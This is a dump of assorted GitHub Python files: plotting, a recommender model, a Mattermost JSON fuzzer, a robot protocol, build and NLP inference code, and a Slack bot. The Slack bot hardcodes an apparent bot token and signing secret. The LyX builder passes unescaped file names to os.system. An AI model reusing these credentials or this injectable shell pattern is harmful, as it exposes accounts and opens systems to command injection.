ax, columnx, columny, paint_shape, paint_color):\n print(\"begin to paint with arrays parameters\")\n\n ax.scatter(columnx, columny, marker=paint_shape, color=paint_color, s=50)\n plt.show()\n print(\"Finished to paint_with_arrays\")\n\n def paint_grid(self, fig, ax):\n print(\"begin to paint_grid \")\n\n line_y1 = 4\n line_y2 = 8\n line_y3 = 12\n x1_values = [0, 16]\n y1_values = [line_y1, line_y1]\n\n plt.plot(x1_values, y1_values, 'b')\n\n x2_values = [0, 16]\n y2_values = [line_y2, line_y2]\n\n plt.plot(x2_values, y2_values, 'b')\n\n x3_values = [0, 16]\n y3_values = [line_y3, line_y3]\n\n plt.plot(x3_values, y3_values, 'b')\n\n x1_v_values = [4, 4]\n y1_v_values = [0, 12]\n\n plt.plot(x1_v_values, y1_v_values, 'b')\n\n x2_v_values = [8, 8]\n y2_v_values = [0, 12]\n\n plt.plot(x2_v_values, y2_v_values, 'b')\n\n x3_v_values = [12, 12]\n y3_v_values = [0, 12]\n\n plt.plot(x3_v_values, y3_v_values, 'b')\n\n plt.show()\n print(\"Finished to paint_grid\")\n","repo_name":"minminmail/FARCHD_Hybrid","sub_path":"Draw/DrawTwoDimension.py","file_name":"DrawTwoDimension.py","file_ext":"py","file_size_in_byte":5341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"32733408276","text":"import torch\nimport torch.nn as nn\n\n\nclass NetworkRecommender(nn.Module):\n \"\"\"\n The network that learns how to make good movie recommendation\n \"\"\"\n\n def __init__(self, nb_users, nb_movies, nb_factors=50):\n super(NetworkRecommender, self).__init__()\n self.nb_hidden = 10\n\n self.userEmbedding = nn.Embedding(nb_users, nb_factors, sparse=True)\n self.movieEmbedding = nn.Embedding(nb_movies, nb_factors, sparse=True)\n self.drop = nn.Dropout(0.02)\n self.hidden1 = nn.Linear(100, 40)\n self.hidden2 = nn.Linear(40, 20)\n self.out = nn.Linear(20, 1)\n self.tanh = nn.Tanh()\n\n def forward(self, user, movie):\n user_emb = self.userEmbedding(user)\n movie_emb = self.movieEmbedding(movie)\n\n features = torch.cat([user_emb, movie_emb], 1)\n\n x = self.drop(features)\n x = self.hidden1(x)\n x = self.hidden2(x)\n out = self.out(x)\n\n return out\n\n def _init(self):\n def init(layer):\n if type(layer) == nn.Linear:\n torch.nn.init.xavier_uniform_(layer.weight)\n layer.bias.data.fill_(0.01)\n\n self.userEmbedding.weight.data.uniform_(-0.05, 0.05)\n self.movieEmbedding.weight.data.uniform_(-0.05, 0.05)\n self.hidden1.apply(init)\n self.hidden2.apply(init)\n self.out.apply(init)\n","repo_name":"cbisaillon/movie_recommendation","sub_path":"server/src/methods/network/Recommender.py","file_name":"Recommender.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"21407416143","text":"import os\nimport json\nimport random\nfrom yamlhandler import YAMLHandler\n\nclass JSONFuzzer:\n \n def __init__(self):\n self.samples = self.__read_samples()\n\n def __read_samples(self):\n parsing = \"./json_for_fuzzing/test_parsing/\"\n transform = \"./json_for_fuzzing/test_transform/\"\n json_pieces = []\n self.samples = []\n \n self.__fill_samples(self.samples, parsing)\n self.__fill_samples(self.samples, transform) \n \n for json_filename in self.samples:\n #print(json_filename)\n with open(json_filename) as file:\n try:\n #print(file.name)\n json_pieces.append(file.read())\n except Exception as e:\n print(e)\n\n return json_pieces\n\n\n def __fill_samples(self, samples, directory):\n for json_filename in os.listdir(directory):\n # Only the ones which are supposed to fail on the parser\n if(json_filename.startswith(\"n_\")):\n samples.append(directory + json_filename)\n\n def __get_random_element(self, dictionary):\n return random.choice(list(dictionary))\n\n def __get_random_failing_sample(self):\n return self.samples[random.randint(0, len(samples) - 1)]\n\n def fuzz(self, path, method_type):\n \n handler = YAMLHandler(\"./mattermost-openapi-v4.yaml\")\n handled_request = handler.get_request_params(path, method_type)\n \n random_item = self.__get_random_element(handled_request[0])\n random_sample = self.__get_random_failing_sample()\n\n #print('RANDOM ITEM: {0} - SAMPLE: {1}'.format(random_item, random_sample))\n \n handled_request[0][random_item] = random_sample\n \n return json.dumps(handled_request)\n","repo_name":"BenceDD/GenFuzz","sub_path":"jsonfuzzer.py","file_name":"jsonfuzzer.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"32779861802","text":"from robot_functions import *\n\ndef main():\n # query the server to start\n print('connect to server')\n server_socket.connect((serverMACAddress, port))\n # wait for a response, recv is a blocking function\n # server responses only when all the robots are connected\n # (value sended by server is not important)\n server_socket.recv(buffer_size)\n\n # after that each robot uses an own counter\n # in this way all the robot operations are synchronized\n begin_time = int(time())\n print('protocol begins')\n\n # !!! make sure robot eyes are looking at left\n # if not, protocol does not work as expected\n init_eyes_motor(eyes_speed)\n\n directions_states = {True: 'cw', False: 'ccw'}\n clockwise_direction = True\n state = directions_states[clockwise_direction]\n\n print('\\t' + 'state: ' + str(state).upper())\n\n if us.connected:\n us.mode = 'US-DIST-CM'\n\n if ir.connected:\n ir.mode = 'IR-PROX'\n\n previous_state = state\n #leader = False\n\n while True:\n # print current state for debugging\n if (previous_state != state):\n print('\\t' + 'state: ' + str(state).upper())\n previous_state = state\n\n\n # CW state\n if state == directions_states[True]:\n if (is_special_node()):\n print( 'robot is over special node' )\n cross_marker()\n # move a bit further to leave space for a a possible incoming robot\n move_on_edge(collision_distance=-1, time_out=1)\n #rotate_counterclockwise(105)\n state = 'done'\n\n else: # robot is not on a special node\n\n # check if there is a robot coming from the opposite direction\n if is_there_close_robot(20):\n # if M is in the previous node, there is no need to do anything\n # the robot coming from the opposite direction is blocked by M and is done\n if not can_I_move(False):\n print('I\\'m last agent')\n state = 'done'\n else:\n # this is not the special node\n # and M is not in the previous node, so leader moves\n # follower_init is used to follow the leader for the first time\n # rotating over the current node and moving to the previous node\n follower_init()\n state = 'follower'\n # wait for two clocks\n # one clock is used by leader and follower to reach the previous node\n # in the other clock leader is waiting\n begin_time = wait_clock(begin_time, 2)\n\n else: # no close robot\n print('wait for one clock')\n begin_time = wait_clock(begin_time)\n\n # check again if there is a robot coming from the opposite direction\n if is_there_close_robot(25):\n if not can_I_move(False):\n print('I\\'m last agent')\n state = 'done'\n else:\n # the robot that becomes leader is waiting for one clock\n # first wait with it\n begin_time = wait_clock(begin_time)\n # then start to follow it, as above\n follower_init()\n state = 'follower'\n begin_time = wait_clock(begin_time, 2)\n\n else: # no close robot after one clock\n if (not can_I_move(True)):\n print('robot is blocked in the last move')\n cross_marker()\n\n rotate_over_node()\n\n clockwise_direction = False\n state = directions_states[False]\n\n print('direction changed, wait the end of the second clock')\n begin_time = wait_clock(begin_time)\n\n else: # robot can move\n print('robot moves toward next node')\n cross_marker()\n robot_collision = move_on_edge()\n if robot_collision:\n state = 'done'\n else:\n begin_time = wait_clock(begin_time)\n\n\n # CCW state\n elif state == directions_states[False]:\n special_node = is_special_node()\n can_move = can_I_move(False)\n\n if special_node or not can_move:\n if special_node:\n print( 'robot is over special node' )\n # if robot have to change direction again\n # this means it has one ore more followers and it met all the robots in the ring\n # so it becomes done\n # followers became done once they notice that leader does not move\n if not can_move:\n print('M met twice\\nstop')\n\n sleep(1.5) # during this time followers looks with is_leader_moving function\n # enter the node to leave space for some possible followers\n cross_marker()\n rotate_over_node(time_out=4.5)\n state = 'done'\n # robot is not on special node and it can move\n else:\n print('robot moves toward next node')\n cross_marker()\n move_on_edge(collision_distance=-1)\n print('wait the end of the first clock')\n begin_time = wait_clock(begin_time)\n print('wait for another clock')\n begin_time = wait_clock(begin_time)\n\n elif state == 'follower':\n #check_done, leader_moving = is_leader_moving()\n # is_leader_moving checks 2 times with eyes\n if ( not is_leader_moving() ):\n # only the second follower enter in this state\n print('I\\'m the second follower')\n # wait while the other follower is moving\n sleep(2.5)\n move_on_edge() # stop with collision\n state = 'done'\n else:\n # complete the last part of edge\n move_on_edge(collision_distance=-1, time_to_settle=0)\n\n if is_special_node():\n # only the first follower enter in this state\n print('I\\'m the first follower')\n # wait while leader is rotating over node\n sleep(0.8)\n # there is no space if robot has the eyes looking at right\n #motor_m.run_to_abs_pos(position_sp = 90)\n # once reach the marker move a bit further \n # to leave space for the second follower\n cross_marker()\n move_on_edge(collision_distance=-1, time_out=1)\n state = 'done'\n else:\n # follow leader\n move_on_edge()\n # once stopped, wait also for the clock in which leader waits\n begin_time = wait_clock(begin_time, 2)\n\n elif state == 'done':\n server_socket.close()\n print('gathering')\n # 'US-SI-CM' ultra sound mode sometimes results in an error\n # that's why in protocol we use always the eyes opened\n # us.mode = 'US-SI-CM' # shut down eyes\n\n # exit the program\n break\n\n\n elif state == 'stopped':\n if is_there_close_robot(140):\n print('close robot detected')\n state = 'done'\n else:\n begin_time = wait_clock(begin_time)\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"secgroup/MTFGatheRing","sub_path":"code/honest.py","file_name":"honest.py","file_ext":"py","file_size_in_byte":8060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"18028652236","text":"import os\nimport shutil\nimport gslab_scons.misc as misc\nfrom gslab_scons import log_timestamp\nfrom gslab_scons._exception_classes import BadExecutableError\n\n\ndef build_lyx(target, source, env):\n '''Compile a pdf from a LyX file\n\n This function is a SCons builder that compiles a .lyx file\n as a pdf and places it at the path specified by target. \n\n Parameters\n ----------\n target: string or list \n The target of the SCons command. This should be the path\n of the pdf that the builder is instructed to compile. \n source: string or list\n The source of the SCons command. This should\n be the .lyx file that the function will compile as a PDF.\n\n '''\n source = misc.make_list_if_string(source)\n target = misc.make_list_if_string(target)\n source_file = str(source[0])\n target_file = str(target[0])\n target_dir = misc.get_directory(target_file)\n \n start_time = misc.current_time()\n\n misc.check_code_extension(source_file, 'lyx')\n newpdf = source_file.replace('.lyx','.pdf')\n log_file = target_dir + '/sconscript.log'\n \n os.system('lyx -e pdf2 %s > %s' % (source_file, log_file))\n \n shutil.move(newpdf, target_file)\n end_time = misc.current_time()\n log_timestamp(start_time, end_time, log_file)\n return None\n","repo_name":"haopen/gslab_python","sub_path":"gslab_scons/builders/build_lyx.py","file_name":"build_lyx.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"28"} +{"seq_id":"27047353532","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport os\nimport numpy as np\nfrom configs.ctc_conf import CtcConf\nimport torch\nfrom src import logger\nfrom src.deeplearning.modeling.modeling_ctc import ModelingCTC\nfrom src.deeplearning.tokenizer.bert_tokenizer import CustomBertTokenizer\nfrom src.utils.data_helper import SPACE_SIGNS, replace_punc_for_bert\n\n\n\nclass PredictorCsc:\n def __init__(\n self,\n in_model_dir,\n ctc_label_vocab_dir='src/deeplearning/ctc_vocab',\n use_cuda=True,\n cuda_id=None,\n onnx_mode=False\n ):\n\n self.in_model_dir = in_model_dir\n self._id2dtag, self._dtag2id, self._id2ctag, self._ctag2id = self.load_label_dict(\n ctc_label_vocab_dir)\n self.tokenizer = CustomBertTokenizer.from_pretrained(in_model_dir)\n self.use_cuda = use_cuda\n self.onnx_mode = onnx_mode\n self.cuda_id = cuda_id\n self.model = self.load_model()\n \n def load_model(self):\n \n if CtcConf.ascend_mode:\n from src.corrector.corrector import AclLiteModel\n model = AclLiteModel(CtcConf.csc_recall_model_fp_ascend_mode)\n logger.info('model loaded from: {}'.format(CtcConf.csc_recall_model_fp_ascend_mode))\n else:\n \n model = ModelingCTC.from_pretrained(self.in_model_dir)\n model.eval()\n \n if self.use_cuda and torch.cuda.is_available():\n if self.cuda_id is not None:\n torch.cuda.set_device(self.cuda_id)\n model.cuda()\n\n if not self.onnx_mode:\n model = model.half() # 半精度\n logger.info('model loaded from: {}'.format(self.in_model_dir))\n\n return model\n \n def load_label_dict(self, ctc_label_vocab_dir):\n dtag_fp = os.path.join(ctc_label_vocab_dir, 'ctc_detect_tags.txt')\n ctag_fp = os.path.join(ctc_label_vocab_dir, 'ctc_correct_tags.txt')\n \n id2dtag = [line.strip() for line in open(dtag_fp, encoding='utf8')]\n d_tag2id = {v: i for i, v in enumerate(id2dtag)}\n \n id2ctag = [line.strip() for line in open(ctag_fp, encoding='utf8')]\n c_tag2id = {v: i for i, v in enumerate(id2ctag)}\n logger.info('d_tag num: {}, d_tags:{}'.format(len(id2dtag), d_tag2id))\n return id2dtag, d_tag2id, id2ctag, c_tag2id\n \n \n def id_list2ctag_list(self, id_list)->list:\n \n return [self._id2ctag[i] for i in id_list]\n \n \n @torch.no_grad()\n def predict(\n self,\n texts,\n batch_size=32,\n return_topk=1,\n ):\n \"\"\" seq2label\n\n Args:\n texts (list):\n ignore_idx_list: [[12], [13,14]]\n Returns:\n List[tuple]: [('你','$KEEP'), ('好', '$DELETE')],\n \"\"\"\n \n if CtcConf.ascend_mode:\n return self.predict_on_ascend_wrapper(texts, batch_size, return_topk=1)\n \n outputs = []\n if isinstance(texts, str):\n texts = [texts]\n\n for start_idx in range(0, len(texts), batch_size):\n batch_texts = texts[start_idx:start_idx + batch_size]\n \n # 将一些bert词典中不存在的 中文符号 转换为 英文符号\n # 加空格让bert对英文分字\n # batch_char_based_texts = [\n # '始' + replace_punc_for_bert(text)\n # for text in batch_texts\n # ]\n \n \n batch_char_based_texts = [\n replace_punc_for_bert(text)\n for text in batch_texts\n ]\n inputs = self.tokenizer(\n batch_char_based_texts, return_tensors='pt')\n\n # inputs['input_ids'][..., 1] = 1 # 把 始 换成 [unused1]\n if not CtcConf.ascend_mode:\n # 盒子模式使用onnx模型\n if self.use_cuda and torch.cuda.is_available():\n for k,v in inputs.items():\n inputs[k] = v.cuda()\n c_preds = self.model(\n input_ids=inputs['input_ids'],\n attention_mask=inputs['attention_mask'],\n token_type_ids=inputs['token_type_ids'],\n )[0]\n else:\n c_preds = self.model.run(None, {\n 'input_ids': inputs['input_ids'].numpy(),\n 'attention_mask': inputs['attention_mask'].numpy(),\n 'token_type_ids': inputs['token_type_ids'].numpy(),\n })[0]\n preds = torch.from_numpy(preds)\n\n for idx, length in enumerate(inputs['length'].tolist()):\n true_idx = range(1, length - 1)\n # true_idx = range(0, length - 0)\n pred = c_preds[idx, true_idx, ...]\n pred_h = torch.softmax(pred, dim=-1)\n \n pred_h, pred = pred_h.topk(k=return_topk,\n dim=-1,\n largest=True,\n sorted=True) # logit, idx\n pred_h = pred_h.tolist()\n \n pred = [self.id_list2ctag_list(x) for x in pred]\n pred = list(list(zip(*ele)) for ele in zip(pred, pred_h))\n origin_text = batch_texts[idx]\n # 还原空格\n\n [pred.insert(i, [(v, 1.0)]) for i, v in enumerate(\n origin_text) if v in SPACE_SIGNS]\n \n # 把开头的占位符还原回来\n # origin_char_list = [''] + list(origin_text)\n origin_char_list = list(origin_text)\n outputs.append(list(zip(origin_char_list, pred)))\n \n return outputs\n \n \n \n def softmax(self, x, dim=None):\n x = x - x.max(axis=dim, keepdims=True)\n y = np.exp(x)\n return y / y.sum(axis=dim, keepdims=True)\n \n def predict_on_ascend(\n self,\n texts,\n batch_size=32,\n return_topk=1,\n ):\n \"\"\" seq2label\n\n Args:\n texts (list):\n ignore_idx_list: [[12], [13,14]]\n Returns:\n List[tuple]: [('你','$KEEP'), ('好', '$DELETE')],\n \"\"\"\n outputs = []\n if isinstance(texts, str):\n texts = [texts]\n\n for start_idx in range(0, len(texts), batch_size):\n batch_texts = texts[start_idx:start_idx + batch_size]\n \n # 将一些bert词典中不存在的 中文符号 转换为 英文符号\n # 加空格让bert对英文分字\n batch_char_based_texts = [\n '始' + replace_punc_for_bert(text)\n for text in batch_texts\n ]\n inputs = self.tokenizer(\n batch_char_based_texts, max_len=128,return_tensors='np')\n\n inputs['input_ids'][..., 1] = 1 # 把 始 换成 [unused1]\n X1, X2, X3 = inputs[\"input_ids\"], inputs[\"attention_mask\"], inputs[\"token_type_ids\"]\n c_preds = self.model.execute([X1, X2, X3])[0]\n c_preds = torch.from_numpy(c_preds).float()\n for idx, length in enumerate(inputs['length'].tolist()):\n true_idx = range(1, length - 1)\n pred = c_preds[idx, true_idx, ...]\n pred_h = torch.softmax(pred, dim=-1)\n # \"softmax_lastdim_kernel_impl\" not implemented for 'Half'\n pred_i = torch.argmax(pred_h, axis=-1)\n pred_h = pred_h.tolist()\n \n pred = self.id_list2ctag_list(pred_i)\n pred = list([(tag, probs[idx])] for tag, idx, probs in zip(pred, pred_i, pred_h)) #暂时只取第一个\n origin_text = batch_texts[idx]\n # 还原空格\n\n [pred.insert(i, [(v, 1.0)]) for i, v in enumerate(\n origin_text) if v in SPACE_SIGNS]\n \n # 把开头的占位符还原回来\n origin_char_list = [''] + list(origin_text)\n outputs.append(list(zip(origin_char_list, pred)))\n \n return outputs\n\n\n def predict_on_ascend_wrapper(self,\n texts,\n batch_size=32,\n return_topk=1):\n\n if isinstance(texts, str):\n texts = [texts]\n\n # split batch for 1,2,4,8\n available_batch_size = [8,4,2,1]\n texts_num = len(texts)\n \n prepare_batch_size_li = []\n for availabel_bs in available_batch_size:\n chunk_num, remainder = texts_num // availabel_bs, texts_num % availabel_bs\n if chunk_num > 0:\n prepare_batch_size_li.extend([availabel_bs]*chunk_num)\n if remainder > 0:\n texts_num = remainder\n else:\n break\n \n # predict\n start_idx = 0\n outputs = []\n for bs in prepare_batch_size_li:\n text_chunk = texts[start_idx:start_idx+bs]\n start_idx += bs\n outputs.extend(self.predict_on_ascend(text_chunk))\n\n return outputs\n\n\n\n\n\n\nif __name__ == '__main__':\n from configs.ctc_conf import CtcConf\n\n \n p = PredictorCsc(in_model_dir='model/miduCTC_v3.7.0_csc3model/ctc_csc', use_cuda=False)\n \n # '请问董秘公司海外电商渠道销售都有那些平台...'\n r = p.predict(['不能侵犯广大人喔群众的利益!'], return_topk=3)\n print(r)\n","repo_name":"wang-benqiang/DeepCTC","sub_path":"single_ctc/deeplearning/predictor/predictor_csc.py","file_name":"predictor_csc.py","file_ext":"py","file_size_in_byte":9514,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"28"} +{"seq_id":"71977023436","text":"# -*- coding: utf-8 -*-\nimport simple_draw as sd\n\nsd.resolution = (1200, 1200)\n\n# Добавить цвет в функции рисования геом. фигур. из упр lesson_004/01_shapes.py\n# (код функций скопировать сюда и изменить)\n# Запросить у пользователя цвет фигуры посредством выбора из существующих:\n# вывести список всех цветов с номерами и ждать ввода номера желаемого цвета.\n# Потом нарисовать все фигуры этим цветом\n\n# Пригодятся функции\n# sd.get_point()\n# sd.line()\n# sd.get_vector()\n# и константы COLOR_RED, COLOR_ORANGE, COLOR_YELLOW, COLOR_GREEN, COLOR_CYAN, COLOR_BLUE, COLOR_PURPLE\n# Результат решения см lesson_004/results/exercise_02_global_color.jpg\n\ndef triangle(point, length, color_index, angle=0):\n paint_fugure(point=point, length=length, angle=angle, sides=3, color=color_index)\n\ndef square(point, length, color_index, angle=0):\n paint_fugure(point=point, length=length, angle=angle, sides=4, color=color_index)\n\ndef rectangle_5(point, length, color_index, angle=0):\n paint_fugure(point=point, length=length, angle=angle, sides=5, color=color_index)\n\ndef rectangle_6(point, length, color_index, angle=0):\n paint_fugure(point=point, length=length, angle=angle, sides=6, color=color_index)\n\ndef paint_fugure(point, length, angle, sides, color):\n\n start_point = point\n\n angle_for_figure = int(360 / sides)\n\n for i in range(sides):\n v = sd.get_vector(start_point=point, angle=angle, length=length, width=3)\n v.draw(color)\n point = v.end_point\n angle = angle + angle_for_figure\n\n if start_point is point:\n print(\"Закрытый контур\")\n else:\n sd.line(point, start_point)\n\ncolor_index = int(input(\"Введите желаемый цвет: \\n1 - красный\\n2 - оранжевый\\n3 - желтый\"\n \"\\n4 - зеленый\\n5 - голубой\\n6 - синий\\n7 - фиолетовый\\n\"))\n\ncolor = 0\nif color_index == 1:\n color = sd.COLOR_RED\nelif color_index == 2:\n color = sd.COLOR_ORANGE\nelif color_index == 3:\n color = sd.COLOR_YELLOW\nelif color_index == 4:\n color = sd.COLOR_GREEN\nelif color_index == 5:\n color = sd.COLOR_CYAN\nelif color_index == 6:\n color = sd.COLOR_BLUE\nelif color_index == 7:\n color = sd.COLOR_PURPLE\nelse:\n print(\"Вы неверно ввели цвет\")\n\nif color != 0:\n point_triangle = sd.get_point(300, 300)\n triangle(point=point_triangle, length=300, angle=50, color_index=color)\n\n point_square = sd.get_point(900, 400)\n square(point=point_square, length=200, angle=20, color_index=color)\n\n point_rectangle_5 = sd.get_point(300, 800)\n rectangle_5(point=point_rectangle_5, length=200, angle=20, color_index=color)\n\n point_rectangle_6 = sd.get_point(800, 800)\n rectangle_6(point=point_rectangle_6, length=100, angle=50, color_index=color)\n\nelse:\n pass\n\nsd.pause()\n","repo_name":"dude1410/python_learning","sub_path":"lesson_004/02_global_color.py","file_name":"02_global_color.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"42229845259","text":"import os\n\n\nimport tensorflow as tf\ntf.random.set_seed(42)\n\nprint(\"TensorFlow version: {}\".format(tf.__version__))\nprint(\"Eager execution: {}\".format(tf.executing_eagerly()))\n\n####################################\n# DDP \n####################################\n\n# Import SMDataParallel TensorFlow2 Modules\nimport smdistributed.dataparallel.tensorflow as dist\n\n\n# SMDataParallel: Initialize\ndist.init()\n\ngpus = tf.config.experimental.list_physical_devices(\"GPU\")\nfor gpu in gpus:\n tf.config.experimental.set_memory_growth(gpu, True)\nif gpus:\n # SMDataParallel: Pin GPUs to a single SMDataParallel process [use SMDataParallel local_rank() API]\n tf.config.experimental.set_visible_devices(gpus[dist.local_rank()], \"GPU\")\n\n####################################\n\n\nprint(\"dist.rank(): \", dist.rank())\nprint(\"mnist files: mnist-%d.npz\" % dist.rank())\n\n####################################\n# DDP \n####################################\n(mnist_images, mnist_labels), _ = tf.keras.datasets.mnist.load_data(\n path=\"mnist-%d.npz\" % dist.rank()\n)\n\n\nprint(\"type: \", type(mnist_images))\nprint(\"shape: \", mnist_images.shape)\nprint(\"mnist_labels: \", mnist_labels.shape)\n\ndataset = tf.data.Dataset.from_tensor_slices(\n (tf.cast(mnist_images[..., tf.newaxis] / 255.0, tf.float32), \n tf.cast(mnist_labels, tf.int64))\n)\n\nbatch_size = 256\ndataset = dataset.repeat().shuffle(10000).batch(batch_size)\n\nmnist_model = tf.keras.Sequential(\n [\n tf.keras.layers.Conv2D(32, [3, 3], activation=\"relu\"),\n tf.keras.layers.Conv2D(64, [3, 3], activation=\"relu\"),\n tf.keras.layers.MaxPooling2D(pool_size=(2, 2)),\n tf.keras.layers.Dropout(0.25),\n tf.keras.layers.Flatten(),\n tf.keras.layers.Dense(128, activation=\"relu\"),\n tf.keras.layers.Dropout(0.5),\n tf.keras.layers.Dense(10, activation=\"softmax\"),\n ]\n)\n\nloss = tf.losses.SparseCategoricalCrossentropy()\n\n# opt = tf.optimizers.Adam(0.000125 * 8)\nopt = tf.optimizers.Adam(0.000125 * dist.size()) # DDP\n\ncheckpoint = tf.train.Checkpoint(model=mnist_model, optimizer=opt)\n\n\n@tf.function\ndef training_step(images, labels, first_batch):\n with tf.GradientTape() as tape:\n probs = mnist_model(images, training=True)\n loss_value = loss(labels, probs)\n\n # DDP \n # SMDataParallel: Wrap tf.GradientTape with SMDataParallel's DistributedGradientTape\n tape = dist.DistributedGradientTape(tape)\n\n \n grads = tape.gradient(loss_value, mnist_model.trainable_variables) \n opt.apply_gradients(zip(grads, mnist_model.trainable_variables))\n\n # DDP\n if first_batch:\n # SMDataParallel: Broadcast model and optimizer variables\n dist.broadcast_variables(mnist_model.variables, root_rank=0)\n dist.broadcast_variables(opt.variables(), root_rank=0)\n\n # SMDataParallel: all_reduce call\n loss_value = dist.oob_allreduce(loss_value) # Average the loss across workers\n \n return loss_value\n\n\n#for epoch in range(EPOCHS):\nn_batch = 10000\nprint_interval = 1000\nfor batch, (images, labels) in enumerate(dataset.take(n_batch)):\n loss_value = training_step(images, labels, batch == 0)\n\n# if batch % print_interval == 0: \n if batch % print_interval == 0 and dist.rank() == 0: \n print(\"Step #%d\\tLoss: %.6f\" % (batch, loss_value))\n \n\n\n# SMDataParallel: Save checkpoints only from master node.\nif dist.rank() == 0:\n checkpoint_dir = os.environ[\"SM_MODEL_DIR\"]\n mnist_model.save(os.path.join(checkpoint_dir, \"1\"))","repo_name":"gonsoomoon-ml/SageMaker-Tensorflow-Step-By-Step","sub_path":"code/phase0/working/TF-WalkThrough/src/mnist_train_DDP.py","file_name":"mnist_train_DDP.py","file_ext":"py","file_size_in_byte":3484,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"} +{"seq_id":"750018438","text":"\"\"\" Поработайте с переменными, создайте несколько, выведите на экран, запросите у пользователя несколько чисел и строк\n и сохраните в переменные, выведите на экран.\n\"\"\"\nname = 'Teo'\nage = 33\nprint(name, age)\n\ncountry = input('Введите страну проживания: ')\ncity = input('Введите город проживания: ')\nschools = input('Введите количество школ: ')\nmeds = input('Введите количество медучреждений: ')\n\nprint(country, city, schools + ' школ', meds + ' медучреждений')","repo_name":"fedor9ka/python_basic_07_04_20","sub_path":"lesson1/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"25225037077","text":"from slack import RTMClient\n\nimport os\nimport logging\nfrom flask import Flask\nfrom slack import WebClient\nfrom slackeventsapi import SlackEventAdapter\nimport ssl as ssl_lib\nimport certifi\nfrom onboarding_tutorial import OnboardingTutorial\n\n# to import file from main directory\ncurrent_dir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparent_dir = os.path.dirname(current_dir)\nsys.path.insert(0, parent_dir)\nsys.path.append(current_dir)\nimport boss, configsparser\n\n# first time invoking the boss\nfirstCall = False\n\n\n# Initialize a Flask app to host the events adapter\napp = Flask(__name__)\n\ntoken = 'xoxb-600605134164-977423189251-oy3LKOBMb9D6o0JkE3UVEHUn'\nsigning_secret = '4b26af99665e5f84a4542140bdbc65c9'\n\nslack_events_adapter = SlackEventAdapter(signing_secret, \"/slack/events\", app)\n\n# Initialize a Web API client\nslack_web_client = WebClient(token=token)\n\n# For simplicity we'll store our app data in-memory with the following data structure.\n# onboarding_tutorials_sent = {\"channel\": {\"user_id\": OnboardingTutorial}}\nonboarding_tutorials_sent = {}\n\nreceived_messages_id = []\n\nhistory = []\n\nuser_ids = []\n\ndef response(user_id: str, channel: str, query: str):\n global firstCall\n # Create a new onboarding tutorial.\n onboarding_tutorial = OnboardingTutorial(channel)\n\n # Get the onboarding message payload\n message = onboarding_tutorial.get_message_payload()\n message[\"text\"] = boss.getAnswer(query, firstCall)\n if firstCall:\n firstCall = False\n\n # Post the onboarding message in Slack\n response = slack_web_client.chat_postMessage(**message)\n\n # Capture the timestamp of the message we've just posted so\n # we can use it to update the message after a user\n # has completed an onboarding task.\n onboarding_tutorial.timestamp = response[\"ts\"]\n\n # Store the message sent in onboarding_tutorials_sent\n if channel not in onboarding_tutorials_sent:\n onboarding_tutorials_sent[channel] = {}\n onboarding_tutorials_sent[channel][user_id] = onboarding_tutorial\n history.append(query)\n history.append(message[\"text\"])\n print(history)\n\n@slack_events_adapter.on(\"app_home_opened\")\ndef sendHello(payload):\n event = payload.get(\"event\", {})\n channel_id = event.get(\"channel\")\n user_id = event.get(\"user\")\n if not user_id in user_ids and len(configsparser.getActiveAgents()) == 1 and configsparser.getActiveAgents()[0] == \"AntiCovidAgent\":\n user_ids.append(user_id)\n # Create a new onboarding tutorial.\n onboarding_tutorial = OnboardingTutorial(channel_id)\n\n # Get the onboarding message payload\n message = onboarding_tutorial.get_message_payload()\n message[\"text\"] = \"Olá, estou aqui para responder a questões sobre o COVID-19. Toda a informação que tenho provém de fontes oficiais e/ou jornais nacionais.\"\n\n # Post the onboarding message in Slack\n response = slack_web_client.chat_postMessage(**message)\n\n # Capture the timestamp of the message we've just posted so\n # we can use it to update the message after a user\n # has completed an onboarding task.\n onboarding_tutorial.timestamp = response[\"ts\"]\n\n # Store the message sent in onboarding_tutorials_sent\n if channel_id not in onboarding_tutorials_sent:\n onboarding_tutorials_sent[channel_id] = {}\n onboarding_tutorials_sent[channel_id][user_id] = onboarding_tutorial\n\n# ============== Message Events ============= #\n# When a user sends a DM, the event type will be 'message'.\n# Here we'll link the message callback to the 'message' event.\n@slack_events_adapter.on(\"message\")\ndef message(payload):\n\n \"\"\"Display the onboarding welcome message after receiving a message\n that contains \"start\".\n \"\"\"\n event = payload.get(\"event\", {})\n\n\n channel_id = event.get(\"channel\")\n user_id = event.get(\"user\")\n msg_id = event.get(\"client_msg_id\")\n text = event.get(\"text\")\n if user_id != 'UURCF5K7D' and not msg_id in received_messages_id:\n\n print(\"receiving message: \" + text + \" user id \" + user_id)\n # avoid repetaed messages\n received_messages_id.append(msg_id)\n\n response(user_id, channel_id, text)\n\n #if text and text.lower() == \"start\":\n #return start_onboarding(user_id, channel_id)\n\n\nif __name__ == \"__main__\":\n logger = logging.getLogger()\n logger.setLevel(logging.DEBUG)\n logger.addHandler(logging.StreamHandler())\n ssl_context = ssl_lib.create_default_context(cafile=certifi.where())\n firstCall = True\n app.run(port=8080)\n","repo_name":"leonorllansol/muahah","sub_path":"slack/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4593,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"} +{"seq_id":"70321078474","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport 